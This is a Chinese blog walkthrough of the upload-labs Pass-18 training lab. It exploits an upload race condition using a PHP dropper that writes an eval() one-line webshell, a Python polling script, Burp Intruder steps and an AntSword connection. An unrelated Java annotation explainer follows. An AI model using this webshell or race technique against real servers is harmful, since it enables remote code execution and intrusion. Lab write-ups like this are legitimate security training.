[网络安全]upload-labs Pass-18 解题详析

读者可参考、订阅专栏:Upload-Labs靶场攻防实战


Antsword蚁剑

蚁剑工具的使用可参考:

[网络安全]AntSword(蚁剑)实战解题详析(入门)

[网络安全]DVWA之File Upload—AntSword(蚁剑)攻击姿势及解题详析合集


姿势

后端逻辑代码:

<?php
include '../config.php';
include '../head.php';
include '../menu.php';

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';
    }
}
?>

<div id="upload_panel">
    <ol>
        <li>
            <h3>任务</h3>
            <p>上传一个<code>webshell</code>到服务器。</p>
        </li>
        <li>
            <h3>上传区</h3>
            <form enctype="multipart/form-data" method="post">
                <p>请选择要上传的图片:<p>
                <input class="input_file" type="file" name="upload_file"/>
                <input class="button" type="submit" name="submit" value="上传"/>
            </form>
            <div id="msg">
                <?php 
                    if($msg != null){
                        echo "提示:".$msg;
                    }
                ?>
            </div>
            <div id="img">
                <?php
                    if($is_upload){
                        echo '<img src="'.$img_path.'" width="250px" />';
                    }
                ?>
            </div>
        </li>
        <?php 
            if($_GET['action'] == "show_code"){
                include 'show_code.php';
            }
        ?>
    </ol>
</div>

<?php
include '../footer.php';
?>
1. 首先,通过设置一个布尔型变量$is_upload$msg为空,来初始化文件上传的状态和错误信息。

2. 接着,判断是否有提交表单的POST请求。如果有,则开始处理文件上传。

3. 创建一个允许上传的文件扩展名数组$ext_arr,包括了允许上传的图片类型(jpg、png、gif)。

4. 获取上传文件的原始文件名$file_name,并临时保存在服务器上的文件路径$temp_file5. 使用substr函数获取文件扩展名$file_ext6. 根据定义的上传路径UPLOAD_PATH和文件名生成待存储的文件路径$upload_file7. 调用move_uploaded_file函数将临时文件移动到指定路径$upload_file。如果移动成功,则进行进一步的处理;否则,记录错误信息。

8. 在移动成功的情况下,使用in_array函数检查文件扩展名是否在允许上传的类型数组中。

9. 如果文件扩展名在允许上传的类型数组中,生成一个随机的文件名$img_path,并将原始上传文件重命名为$img_path。同时将$is_upload设置为true,表示上传成功。

10. 如果文件扩展名不在允许上传的类型数组中,记录错误信息$msg,并删除已上传的文件。

11. 如果移动文件发生错误,记录错误信息$msg

可以知道,后端逻辑代码先上传文件,再进行过滤及二次渲染

该题涉及条件竞争

打开了某文件,再去删除这个文件,系统提示这个文件在另一程序中打开无法删除 的原理类似,我们可以在上传文件的一瞬间访问该文件,这样的话,文件就无法被过滤及二次渲染

操作如下:

准备一个php文件:

在这里插入图片描述

上传该文件时抓包:

在这里插入图片描述

发送至爆破模块:

在这里插入图片描述

设置payload集:

在这里插入图片描述

开始攻击:

在这里插入图片描述

在点击开始攻击的一瞬间,访问目标文件路径,如

localhost/upload-labs-master/upload/1.php?1=phpinfo();

即可实现命令执行

但利用条件竞争时,需要快速进行访问,而手工较慢,因此需要写特定的脚本进行访问或上传

写入一个sh.php文件,内容为:

<?php fputs(fopen("info.php", "w"), '<?php @eval($_REQUEST[1]);?>'); ?>

作用为:fopen(“info.php”, “w”) 使用写入模式(w)打开了一个名为 info.php 的文件,然后,fputs() 函数将 <?php @eval($_REQUEST[1]);?> 写入到打开的文件中

接着抓包发送至爆破模块并清除所有payload:

在这里插入图片描述

接着设置payload:

在这里插入图片描述

再写一个脚本:

import requests
url = "http://127.0.0.1/upload-labs/upload/sh.php"
while True:
    html = requests.get(url)
    if html.status_code == 200:
        print("OK")
        break
    else:
	    print("DOWN")

如果状态码为 200,则输出 “OK” 并跳出循环;否则输出 “DOWN”

在这里插入图片描述

运行脚本后开始爆破攻击,直至回显OK:

在这里插入图片描述

说明info.php成功生成,同时该文件包含一句话木马

接着我们使用蚁剑测试连接:

在这里插入图片描述

成功添加:

在这里插入图片描述


总结

以上为[网络安全]upload-labs Pass-18 解题详析,后续将分享[网络安全]xss-labs Pass-19 解题详析。

我是秋说,我们下次见。

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
在Java中,@RequestBody和@RequestParam是用于处理HTTP请求参数的注解。它们之间有一些区别,下面细解一下: 1. @RequestBody注解用于获取请求体中的参数,并将其绑定到方法的参数上。通常用于处理POST请求中的表单数据或者JSON数据。当使用@RequestBody注解时,Spring框架会自动将请求体中的数据转换为方法参数所需的对象。例如: ```java @PostMapping("/user") public void addUser(@RequestBody User user) { // 处理user对象 } ``` 在上面的例子中,@RequestBody注解将请求体中的数据转换为User对象,并将其绑定到addUser方法的参数上。 2. @RequestParam注解用于获取URL中的请求参数,并将其绑定到方法的参数上。通常用于处理GET请求或者POST请求中的URL参数。当使用@RequestParam注解时,Spring框架会自动从URL中提取指定名称的参数,并将其转换为方法参数所需的类型。例如: ```java @GetMapping("/user") public void getUser(@RequestParam("id") int userId) { // 处理userId参数 } ``` 在上面的例子中,@RequestParam注解将URL中名为"id"的参数提取出来,并将其转换为int类型,并将其绑定到getUser方法的参数userId上。 总结起来,@RequestBody注解用于获取请求体中的参数,适用于处理POST请求中的表单数据或者JSON数据。而@RequestParam注解用于获取URL中的请求参数,适用于处理GET请求或者POST请求中的URL参数。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

秋说

感谢打赏,祝你平安喜乐。

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值